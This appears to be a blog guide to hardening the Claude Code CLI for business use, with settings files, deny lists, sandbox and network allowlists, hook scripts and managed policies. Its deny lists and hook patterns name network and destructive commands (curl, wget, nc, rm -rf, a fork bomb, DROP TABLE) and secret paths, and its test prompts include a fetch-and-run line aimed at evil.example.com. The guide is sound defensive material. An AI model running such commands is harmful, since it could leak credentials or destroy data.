Harden Claude Code CLI: 9 Proven Steps for Business Use [2026]

📅 Last updated: June 2026

📑Table of Contents

1. 9 Security Settings at a Glance [2026]
2. Configuration File Map [2026] — Where Everything Lives
3. Understanding Claude Code Security Risks [2026]
4. If you only do three things, do these
5. Step 1 — Block Claude Code Access to Sensitive Files
6. Step 2 — Block Dangerous Commands
7. Step 3 — Enable Claude Code Sandbox Mode
8. Step 4 — Restrict Network Access
9. Step 5 — Disable Bypass Permissions
10. Step 6 — Strengthen Claude Code Security with Hooks
11. Optional — Hardening MCP servers when you use them
12. Step 7 — Audit Permissions Regularly
13. Step 8 — Isolate with Dev Containers
14. Step 9 — Enforce Policies with Managed Settings
15. Rolling out Claude Code to non-engineers
16. Defense-in-Depth Checklist
17. FAQ — Claude Code Security
18. Verify your hardening — 5 test prompts
19. Copy-paste templates — personal, project, and managed
20. Conclusion
21. Related articles

Claude Code is one of the most capable AI coding assistants available today — it can read and write files, execute shell commands, and make network requests directly from your terminal. That power comes with real risk. In a business environment, a single misconfigured session could leak .env secrets, execute a destructive rm -rf, or exfiltrate proprietary data through an outbound curl request. In my experience, engineers who live in the terminal can get by with minimal configuration — but if you’re setting up Claude Code for non-technical team members, these security settings aren’t optional; they’re essential. This guide walks you through every security layer Claude Code offers, from file access controls and command restrictions to sandbox isolation and organization-wide policies. Each section includes copy-paste-ready configuration examples so you can lock things down in minutes, not hours. Look for priority indicators throughout: 🔴 Required for any serious use, 🟡 Recommended for production teams, and 🟢 Optional for maximum hardening.

9 Security Settings at a Glance [2026]

Here’s a quick overview of the 9 security measures covered in this guide. Identify which ones apply to your environment and prioritize accordingly.

Step	Setting	Risk Mitigated	Config Location	Priority
1	Read deny for sensitive files	.env, SSH keys, credentials leaking into context	settings.json	🔴 Required
2	Bash deny for dangerous commands	rm -rf, force push, data exfiltration	settings.json	🔴 Required
3	Enable sandbox	Writes outside project dir, system damage	settings.json	🔴 Required
4	Network restrictions	Unintended outbound connections	settings.json	🟡 Recommended
5	Disable Bypass Permissions	All permission checks skipped	managed-settings.json	🔴 Org Required / 🟡 Personal Recommended
6	PreToolUse hooks	Dynamic patterns beyond deny rules	settings.json + hooks/	🟡 Recommended
7	Permission audit	Permission creep from accumulated allows	~/.claude/settings.json	🟡 Recommended
8	Dev Container	Full access to host environment	.devcontainer/	🟢 Optional
9	Managed Settings	Users loosening security settings	managed-settings.json	🔴 Org Required / 🟢 Personal Optional

From personal experience, the 🔴 Required steps (1-3) should always be configured regardless of who’s using Claude Code. The remaining steps become increasingly important as you move from solo engineering work to team deployments with mixed technical backgrounds.

Configuration File Map [2026] — Where Everything Lives

Before diving into specific settings, you need to understand where Claude Code reads its configuration. There are six key files, each with a different scope and priority level.

File	Location	Purpose	Scope
~/.claude/settings.json	Home directory	User-level defaults	Personal (all projects)
<project>/.claude/settings.json	Project root	Shared project settings	Team (Git committed)
<project>/.claude/settings.local.json	Project root	Local overrides	Personal (.gitignored)
<project>/.claude/hooks/	Project root	Hook scripts	Team (Git committed)
managed-settings.json	OS-dependent *	Organization policies	Organization-wide
<project>/.devcontainer/	Project root	Dev Container config	Team (Git committed)

* Managed settings location: macOS — /Library/Application Support/ClaudeCode/managed-settings.json, Linux — /etc/claude-code/managed-settings.json, Windows — %ProgramData%ClaudeCodemanaged-settings.json

Understanding Claude Code Security Risks [2026]

Claude Code operates with the same permissions as your terminal user. It doesn’t run in a sandbox by default, and it doesn’t ask permission for every file read. For enterprise deployment, addressing these data leak prevention risks systematically is critical. Before configuring anything, you need a clear picture of what can go wrong.

---

If you only do three things, do these

Configuring all 9 steps is the goal, but if you’re short on time, the three highest-leverage controls below cover roughly 80% of real-world risk on their own.

My personal hardening policy — work vs. personal machines

I deliberately run different settings on my work machine versus my personal one. The reason is simple: my personal machine doesn’t hold anything business-critical, so an accident is recoverable. On my work machine, a leak or a destructive command could affect customers and colleagues, so I lean noticeably stricter.

You’ll find a “My implementation status” box at the end of every step below, so you can see which controls I actually run on each kind of machine.

---

Step 1 — Block Claude Code Access to Sensitive Files

🔴 Required

The first and most critical defense is preventing Claude from reading files that contain secrets. Even if every other layer fails, blocking file access ensures sensitive data never enters the context window in the first place. This is always the first thing I configure on any new machine — blocking .env access is the single most impactful security measure you can take, and it takes about 30 seconds.

Settings File Locations and Priority

For personal protection across all your projects, add deny rules to ~/.claude/settings.json. For team-wide enforcement, add them to <project>/.claude/settings.json and commit it to Git. Both locations are merged at runtime, with deny rules from all sources combined (never overridden).

Read Deny Rules Example

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)",
      "Read(.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(**/secrets/**)",
      "Read(**/credentials*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(**/*.p12)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.config/gcloud/**)",
      "Read(**/.git-credentials)",
      "Read(**/service-account*.json)",
      "Read(**/token.json)"
    ]
  }
}

Path Syntax Reference

Claude Code uses a specific path syntax for deny rules:

Prefix	Meaning	Example
./	Relative to project root	Read(./.env)
~/	Home directory	Read(~/.ssh/**)
//	Absolute path (filesystem root)	Read(//etc/passwd)
**	Recursive glob (any depth)	Read(**/*.pem)

Note that Claude Code does not currently support a .claudeignore file. All file access restrictions must be configured through the deny rules in your settings files.

Step 2 — Block Dangerous Commands

🔴 Required

Even with file access restrictions in place, Claude can still execute arbitrary shell commands. This is where command deny rules come in — they prevent Claude from running specific commands regardless of context. Engineers instinctively understand the danger of rm -rf and will catch it in a permission prompt — but when I started handing Claude Code to non-engineer team members, I realized these deny rules are non-negotiable. They won’t always recognize a destructive command when they see one.

Bash Deny Rules Example

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)",
      "Bash(rm -rf *)",
      "Bash(rm -r *)",
      "Bash(rmdir *)",
      "Bash(git push --force*)",
      "Bash(git push -f*)",
      "Bash(git reset --hard*)",
      "Bash(git clean -f*)",
      "Bash(chmod 777*)",
      "Bash(chmod -R 777*)",
      "Bash(> /dev/*)",
      "Bash(dd if=*)",
      "Bash(mkfs.*)",
      "Bash(:(){ :|:& };:)",
      "Bash(*DROP TABLE*)",
      "Bash(*DROP DATABASE*)",
      "Bash(scp *)",
      "Bash(rsync *)",
      "Bash(nc *)",
      "Bash(ncat *)",
      "Bash(telnet *)"
    ],
    "allow": [
      "Bash(npm run lint*)",
      "Bash(npm run test*)",
      "Bash(npm run build*)",
      "Bash(git status*)",
      "Bash(git diff*)",
      "Bash(git log*)",
      "Bash(git add*)",
      "Bash(git commit*)",
      "Bash(ls *)",
      "Bash(cat *)",
      "Bash(grep *)",
      "Bash(find *)",
      "Bash(python -m pytest*)",
      "Bash(go test*)"
    ]
  }
}

How Pattern Matching Works

A few important details about how Claude Code matches command patterns:

• Glob patterns — The * wildcard matches any sequence of characters. Bash(curl *) matches curl https://evil.com, curl -s localhost, and any other curl invocation.
• Shell operators — Be aware that commands chained with &&, ||, ;, or pipes | are evaluated as a single string. Bash(rm -rf *) will also block echo hello && rm -rf / because the full command string contains the pattern.
• Fail-closed behavior — If a command matches both an allow and a deny rule, the deny rule wins. This is the correct security posture — when in doubt, block.

Step 3 — Enable Claude Code Sandbox Mode

🔴 Required

Sandbox mode is Claude Code’s most powerful security feature. When enabled, it uses OS-level isolation (macOS Seatbelt profiles, or bubblewrap on Linux and WSL2) to enforce filesystem and network restrictions at the kernel level — far harder to bypass than pattern-based deny rules. Native Windows is not supported, so Windows users should run Claude Code inside a WSL2 distribution. In my testing across multiple projects, enabling the sandbox has virtually no noticeable performance impact on day-to-day coding tasks — there’s really no reason not to turn it on.

👉 For details on sandbox availability, see “Claude Code CLI vs Web vs Desktop” (sandbox is CLI-only).

Basic Sandbox Configuration

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "sandbox": {
    "enabled": true
  },
  "autoAllowBashIfSandboxed": true
}

The autoAllowBashIfSandboxed setting is a quality-of-life improvement — when the sandbox is active, Claude can execute bash commands without asking for permission each time, since the sandbox already constrains what those commands can do. Without this setting, you’ll be prompted to approve every single shell command, which gets tedious quickly. I keep this enabled on all my machines — the sandbox already constrains the blast radius, so the constant approval prompts just slow you down without adding meaningful security.

Even in auto-allow mode, the safety nets still hold: explicit deny rules are always respected, and rm or rmdir targeting your home directory, /, or other critical system paths still triggers a permission prompt (the 2026 sandbox update made this behavior explicit). Whichever mode you pick in the /sandbox panel is written to your project’s .claude/settings.local.json (not committed to git); to enable the sandbox across all projects, set sandbox.enabled: true in your user settings at ~/.claude/settings.json.

Filesystem Restrictions

Fine-tune exactly which directories Claude can write to and which are completely off-limits:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": [
        ".",
        "/tmp"
      ],
      "denyWrite": [
        "~/.ssh",
        "~/.aws",
        "~/.config/gcloud",
        "~/.gnupg",
        "/etc",
        "/usr"
      ],
      "denyRead": [
        "~/.ssh/id_*",
        "~/.aws/credentials",
        "~/.config/gcloud/application_default_credentials.json"
      ]
    }
  }
}

The allowWrite list uses "." to permit writes within the current project directory and /tmp for temporary files. Everything else is implicitly denied. The denyWrite and denyRead lists add explicit blocks as an extra safety net — even if the sandbox configuration has a bug, these paths are protected.

Block All Unsandboxed Operations

For maximum safety, you can require sandboxing for all bash commands and specify exceptions only for known-safe operations:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "sandbox": {
    "enabled": true
  },
  "allowUnsandboxedCommands": false,
  "excludedCommands": [
    "git status",
    "git diff",
    "git log",
    "pwd",
    "whoami"
  ]
}

With allowUnsandboxedCommands set to false, any command that cannot run inside the sandbox will be blocked entirely — unless it appears in the excludedCommands list. This is the strictest configuration and is ideal for CI/CD pipelines or untrusted code review scenarios.

Step 4 — Restrict Network Access

🟡 Recommended

Network restrictions prevent Claude from communicating with unauthorized external services. This is your primary defense against data exfiltration — even if secrets accidentally enter the context window, they can’t be sent anywhere. For personal projects, I sometimes skip this step since my deny rules already block curl and wget. But for any team deployment, the network allowlist adds a critical second layer that I wouldn’t go without.

Network Configuration Example

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "pypi.org",
        "files.pythonhosted.org",
        "api.github.com",
        "github.com",
        "*.githubusercontent.com",
        "rubygems.org",
        "crates.io"
      ],
      "allowLocalBinding": true
    }
  }
}

The allowedDomains list uses an allowlist approach — only the specified domains are reachable. Everything else is blocked at the OS level. The allowLocalBinding option permits binding to localhost, which is necessary for running local development servers during testing.

Step 5 — Disable Bypass Permissions

🔴 Required (Org)

🟡 Recommended (Personal)

Claude Code has a “bypass permissions” mode (sometimes called “yolo mode” or “dangerously skip permissions”) that disables all permission checks. When active, Claude executes every command and reads every file without asking. I’ll admit — I use bypass mode occasionally for personal side projects where speed matters and the stakes are low. But I disabled it immediately when deploying Claude Code across our team. The convenience is not worth the risk when other people’s work is on the line.

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "disableBypassPermissionsMode": "disable"
  }
}

This setting works in any settings file (user, project, or managed) — but it has the most leverage when shipped via managed settings, because individual developers cannot override a managed file. For solo use, putting it in your user-level settings.json is fine; for organizations, ship it through the managed file so no one on the team can quietly turn it off.

Step 6 — Strengthen Claude Code Security with Hooks

🟡 Recommended

Hooks let you run custom scripts before or after Claude executes a tool. They’re ideal for implementing custom validation logic, audit logging, and security checks that go beyond what static deny rules can provide. In practice, I’ve found hooks most valuable for catching edge cases that pattern-based deny rules miss — things like dynamically constructed commands or environment-specific restrictions that vary by project.

👉 For more on hooks and custom commands, see “Claude Code Skills — Complete Guide“.

PreToolUse Hook to Block Dangerous Commands

First, register the hook in your settings.json:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": ".claude/hooks/pre-bash-check.sh"
          }
        ]
      }
    ]
  }
}

Then create the hook script at <project>/.claude/hooks/pre-bash-check.sh:

#!/bin/bash
# .claude/hooks/pre-bash-check.sh
# Reads tool input from stdin as JSON, checks the command field.

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')

# Define blocked patterns
BLOCKED_PATTERNS=(
  'rm -rf'
  'rm -r /'
  'git push --force'
  'git push -f'
  'git reset --hard'
  'chmod 777'
  'curl '
  'wget '
  '> /dev/'
  'DROP TABLE'
  'DROP DATABASE'
)

for pattern in "${BLOCKED_PATTERNS[@]}"; do
  if echo "$COMMAND" | grep -qi "$pattern"; then
    # Output JSON to block execution with a reason
    echo "{"decision": "block", "reason": "Blocked by security hook: pattern '$pattern' detected in command."}"
    exit 0
  fi
done

# Allow the command to proceed
echo '{"decision": "allow"}'
exit 0

Make the script executable with chmod +x .claude/hooks/pre-bash-check.sh. The hook receives tool input as JSON on stdin and must output a JSON object with a decision field — either "allow" or "block".

PostToolUse Hook for Audit Logging

Audit logging records every action Claude takes, which is essential for security reviews and incident investigation:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "",
        "hooks": [
          {
            "type": "command",
            "command": ".claude/hooks/audit-log.sh"
          }
        ]
      }
    ]
  }
}

#!/bin/bash
# .claude/hooks/audit-log.sh
# Logs every tool invocation to a local audit file.

INPUT=$(cat)
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
TOOL=$(echo "$INPUT" | jq -r '.tool_name // "unknown"')
SESSION=$(echo "$INPUT" | jq -r '.session_id // "unknown"')

echo "{"ts": "$TIMESTAMP", "tool": "$TOOL", "session": "$SESSION", "input": $INPUT}" 
  >> .claude/audit.log

exit 0

Other Hook Events

Claude Code supports several hook points beyond PreToolUse and PostToolUse:

Hook Event	When It Fires	Use Case
PreToolUse	Before a tool runs	Validate inputs, block commands, custom allow/deny
PostToolUse	After a tool completes	Audit logging, output validation, notifications
Notification	On status events	Slack/email alerts, monitoring integration
Stop	When Claude stops working	Cleanup, summary reports, final audit entry

To reliably enforce security rules, consider using Claude Hooks. Our guide covers blocking dangerous commands with PreToolUse hooks and sending audit logs via HTTP hooks.

---

Optional — Hardening MCP servers when you use them

🟡 Only if applicable

Claude Code can connect to external systems through MCP (Model Context Protocol) servers. They are powerful, but Anthropic does not audit them — so the rule of thumb is to only run servers from providers you actually trust.

• Use trusted providers only — Read the source of any MCP server published by an individual or anonymous account before installing it.
• Commit your allowed MCP server list to source control — make it visible to the team so nobody quietly adds a new one.
• Treat MCP as a data exfiltration path — MCP servers can read prompt content, so a compromised server is a leak channel for everything you’ve discussed.
• Never bypass the trust verification prompt — first-time connections deserve the same scrutiny as installing a new dependency.

Step 7 — Audit Permissions Regularly

🟡 Recommended

Security is not a set-and-forget exercise. Permissions drift over time — developers add temporary allow rules during debugging and forget to remove them, or new tools get introduced that aren’t covered by existing deny rules. I review my team’s permissions monthly, and you’d be surprised how many allow rules accumulate over just a few weeks. Last month I found 12 temporary grants that were never cleaned up — each one a potential hole in our security posture.

Step 8 — Isolate with Dev Containers

🟢 Optional

For the highest level of isolation, run Claude Code inside a Dev Container. This gives you a fully disposable environment where any damage — accidental or malicious — is contained within the container and destroyed when you’re done.

Dev Container Configuration

// .devcontainer/devcontainer.json
{
  "name": "Claude Code Secure",
  "image": "mcr.microsoft.com/devcontainers/base:ubuntu-22.04",
  "features": {
    "ghcr.io/devcontainers/features/node:1": {
      "version": "20"
    }
  },
  "postCreateCommand": "bash .devcontainer/init-firewall.sh",
  "mounts": [
    "source=${localWorkspaceFolder},target=/workspace,type=bind",
    "source=${localEnv:HOME}/.claude,target=/home/vscode/.claude,type=bind,readonly"
  ],
  "containerEnv": {
    "CLAUDE_CODE_SANDBOX": "true"
  },
  "remoteUser": "vscode"
}

Firewall Initialization Script

#!/bin/bash
# .devcontainer/init-firewall.sh
# Restrict outbound network access to only essential services.

set -euo pipefail

# Allow DNS
sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT

# Allow HTTPS to package registries and GitHub
sudo iptables -A OUTPUT -p tcp --dport 443 -d registry.npmjs.org -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -d api.github.com -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -d github.com -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -d pypi.org -j ACCEPT

# Allow localhost
sudo iptables -A OUTPUT -o lo -j ACCEPT

# Allow established connections
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Drop everything else
sudo iptables -A OUTPUT -j DROP

echo "Firewall rules applied — outbound restricted to allowlisted domains."

The Dev Container approach is especially valuable for code review scenarios where you’re working with untrusted repositories. The container’s filesystem is isolated from your host, so even if Claude executes something destructive, your real files are safe.

Step 9 — Enforce Policies with Managed Settings

🔴 Required (Org)

🟢 Optional (Personal)

Managed settings are the top of the configuration hierarchy — they override everything else and cannot be changed by individual developers. For organizations, this is the mechanism that ensures consistent security policies across every developer workstation. When I rolled out managed settings across our team, it eliminated the “but it works on my machine” problem for security configuration — everyone gets the same baseline, no exceptions.

👉 See “Claude Code Commands Cheat Sheet” for a full list of configuration commands.

Delivery Methods

There are three ways to deploy managed settings:

Method	How	Best For
Filesystem	Place managed-settings.json at the OS-specific path	MDM-managed fleets, CI/CD
Claude.ai Console	Configure in the Claude.ai admin dashboard	Cloud-managed teams
MDM / Puppet / Chef	Deploy the JSON file via configuration management	Enterprise IT with existing tooling

Recommended Organization Configuration

Here’s a comprehensive managed settings file that implements all the security layers covered in this guide:

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "disableBypassPermissionsMode": "disable",
    "deny": [
      "Read(.env)",
      "Read(.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(**/secrets/**)",
      "Read(**/credentials*)",
      "Read(**/*.pem)",
      "Read(**/*.key)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.config/gcloud/**)",
      "Bash(curl *)",
      "Bash(wget *)",
      "Bash(rm -rf *)",
      "Bash(rm -r /*)",
      "Bash(git push --force*)",
      "Bash(git push -f*)",
      "Bash(git reset --hard*)",
      "Bash(chmod 777*)",
      "Bash(scp *)",
      "Bash(rsync *)",
      "Bash(nc *)",
      "Bash(ncat *)",
      "Bash(telnet *)",
      "Bash(*DROP TABLE*)",
      "Bash(*DROP DATABASE*)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": [
        ".",
        "/tmp"
      ],
      "denyWrite": [
        "~/.ssh",
        "~/.aws",
        "~/.config/gcloud",
        "/etc",
        "/usr"
      ],
      "denyRead": [
        "~/.ssh/id_*",
        "~/.aws/credentials"
      ]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "pypi.org",
        "files.pythonhosted.org",
        "api.github.com",
        "github.com",
        "*.githubusercontent.com"
      ],
      "allowLocalBinding": true
    }
  }
}

Deploy this file to every developer machine, and you have a consistent security baseline that no individual can weaken. Teams can still add their own project-level settings (additional deny rules, hooks, etc.), but they cannot remove or override any of the managed restrictions.

---

Rolling out Claude Code to non-engineers

I have actually deployed Claude Code to non-engineer team members, and that experience taught me that the engineer-focused playbook above breaks down on contact with reality. Here is what actually works.

The three things you have to teach

1. Never click “bypass permissions” — the “approve everything” shortcut is the single fastest way to cause an incident.
2. Leave the sandbox on, always — even if it “feels slower,” do not turn it off.
3. If a forbidden command pops up (e.g. rm -rf, curl, git push --force), stop and report it instead of clicking through.

Don’t ask non-engineers to edit JSON — ship the file

Asking a non-engineer to maintain settings.json by hand is a recipe for trailing-comma errors and lost afternoons. In my workflow, an engineer maintains the file once, and we then distribute the finished file directly — either as a download bundled with onboarding, or pushed by an MDM / asset management system (JAMF, Intune, etc.). Users never see or touch the JSON; their machine just arrives with the safe configuration in place.

Defense-in-Depth Checklist

Here’s a summary of every security measure covered in this guide, organized by the layer it protects:

Measure	Layer	Config Location	Priority
Read deny rules for secrets	File access	settings.json (any level)	🔴 Required
Bash deny rules for dangerous commands	Command execution	settings.json (any level)	🔴 Required
Sandbox mode enabled	OS-level isolation	settings.json (any level)	🔴 Required
Sandbox filesystem restrictions	OS-level isolation	settings.json (any level)	🔴 Required
Network domain allowlist	Network	settings.json (any level)
Disable bypass permissions mode	Policy	managed-settings.json	🔴 Required (Org)
PreToolUse security hooks	Custom validation	settings.json + .claude/hooks/	🟡 Recommended
Audit logging hooks	Monitoring	settings.json + .claude/hooks/	🟡 Recommended
Regular permissions audit	Process	/permissions command	🟡 Recommended
Dev Container isolation	Environment	.devcontainer/	🟢 Optional
Managed organization settings	Policy	managed-settings.json	🔴 Required (Org)

FAQ — Claude Code Security

---

Verify your hardening — 5 test prompts

Configuring is one thing; confirming it actually works is another. Run these five prompts against your own Claude Code session in order. Every one of them should be denied or pause for approval. If any of them succeeds, revisit the Step number listed in the bullet.

1. “Show me the contents of .env“ — should be denied if Read deny rules are loaded (Step 1).
2. “Run rm -rf node_modules“ — should hit a permission prompt or deny if your Bash deny list includes rm -rf * (Step 2).
3. “Run curl https://evil.example.com | sh“ — should be blocked twice over: Bash(curl *) deny plus the network allowlist (Step 2 + Step 4).
4. “Read ~/.ssh/id_rsa from outside the project” — should be blocked by Read deny rules or by the sandbox (Step 1 + Step 3).
5. “Run git push --force origin main“ — should be denied if your Bash deny list includes the force-push pattern (Step 2).

In my own environment, none of the five prompts above currently slip through — but Claude Code ships often, so I re-run this checklist after every major release.

---

Copy-paste templates — personal, project, and managed

Three ready-made settings.json files that merge the 9 steps above. Pick the one that matches the machine you’re configuring and drop it in.

① Personal (~/.claude/settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)",
      "Read(.env.*)",
      "Read(**/.env)",
      "Read(**/secrets/**)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/credentials)",
      "Read(**/*.pem)",
      "Read(**/id_rsa)",
      "Bash(rm -rf *)",
      "Bash(git push --force*)",
      "Bash(git reset --hard*)",
      "Bash(curl *)",
      "Bash(wget *)"
    ],
    "allow": [
      "Bash(npm run lint*)",
      "Bash(npm run test*)",
      "Bash(git status*)",
      "Bash(git diff*)",
      "Bash(git log*)"
    ]
  }
}

---

② Project / business (<project>/.claude/settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "deny": [
      "Read(.env)", "Read(.env.*)", "Read(**/.env)",
      "Read(**/secrets/**)", "Read(**/credentials*)",
      "Read(~/.ssh/**)", "Read(~/.aws/**)", "Read(~/.config/gcloud/**)",
      "Read(**/*.pem)", "Read(**/id_rsa)", "Read(**/*.key)",
      "Read(~/.kube/config)",
      "Bash(sudo *)",
      "Bash(rm -rf *)", "Bash(rm -r /*)",
      "Bash(dd if=*)", "Bash(mkfs.*)",
      "Bash(curl *)", "Bash(wget *)",
      "Bash(git push --force*)", "Bash(git reset --hard*)",
      "Bash(terraform destroy *)",
      "Bash(kubectl delete ns *)",
      "Bash(*DROP TABLE*)", "Bash(*DROP DATABASE*)"
    ],
    "allow": [
      "Bash(npm run *)", "Bash(pnpm run *)",
      "Bash(git status*)", "Bash(git diff*)", "Bash(git log*)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "allowUnsandboxedCommands": false,
    "excludedCommands": ["docker", "git"],
    "network": {
      "allowedDomains": [
        "github.com", "*.github.com", "registry.npmjs.org",
        "pypi.org", "api.anthropic.com"
      ],
      "allowLocalBinding": true
    }
  },
  "autoAllowBashIfSandboxed": true,
  "hooks": {
    "PreToolUse": [
      { "matcher": "Bash", "hooks": [ { "type": "command", "command": ".claude/hooks/pre-bash-check.sh" } ] }
    ],
    "PostToolUse": [
      { "matcher": "", "hooks": [ { "type": "command", "command": ".claude/hooks/audit-log.sh" } ] }
    ]
  }
}

---

③ Organization-managed (managed-settings.json)

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "allowManagedPermissionRulesOnly": true,
  "allowManagedHooksOnly": true,
  "permissions": {
    "disableBypassPermissionsMode": "disable",
    "deny": [
      "Read(.env)", "Read(.env.*)", "Read(**/.env)",
      "Read(**/secrets/**)", "Read(~/.ssh/**)", "Read(~/.aws/**)",
      "Read(**/*.pem)", "Read(**/id_rsa)",
      "Bash(sudo *)", "Bash(rm -rf *)",
      "Bash(curl *)", "Bash(wget *)",
      "Bash(git push --force*)",
      "Bash(terraform destroy *)",
      "Bash(kubectl delete ns *)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "allowUnsandboxedCommands": false,
    "network": {
      "allowManagedDomainsOnly": true,
      "allowedDomains": ["github.com", "*.github.com", "registry.npmjs.org", "api.anthropic.com"]
    }
  }
}

---

Conclusion

👉 15 Claude Code Efficiency Tips You Should Know

👉 Claude Code CLI vs Web vs Desktop — Which Version Should You Use?

👉 Claude Code Skills — The Complete Guide

👉 To have Claude review and fix vulnerabilities in its own code changes during a session, try the official Security guidance plugin.